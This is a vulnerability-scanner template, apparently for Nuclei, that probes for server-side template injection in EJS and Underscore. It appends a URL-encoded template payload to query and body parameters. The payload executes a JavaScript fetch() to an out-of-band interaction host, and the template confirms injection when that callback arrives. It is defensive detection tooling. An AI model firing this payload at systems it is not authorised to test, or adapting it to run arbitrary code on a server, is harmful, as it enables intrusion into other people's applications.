id: ejs-underscore-oob

info:
  name: Ejs AND Underscore - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://ejs.co/
    - https://underscorejs.org/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

variables:
  prefix: "{{rand_text_alpha(5)}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - '%3C%25%3Dfunction%28%29%7Bfetch%28%22http%3A%2F%2F{{interactsh-url}}%22%2C%20%7B%0A%20%20headers%3A%20%7B%0A%20%20%20%20%22{{prefix}}%22%3A%20%22application%2Fjson%22%0A%20%20%7D%0A%7D%29%7D%28%29%25%3E'

    fuzzing:
      - parts:
          - query
          - body
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'http')"
          - "contains(to_lower(interactsh_request), to_lower(prefix))"
        condition: and
# digest: 4b0a00483046022100e093ab1073ec2c5a642bd318498b3d115517b774bf37d07266b3f7b9941dbb91022100ac5ea7d28c517e8ed33b8744e727a5f29eacc0d6eb5ff4f28b261026b845be19:922c64590222798bb761d5b6d8e72950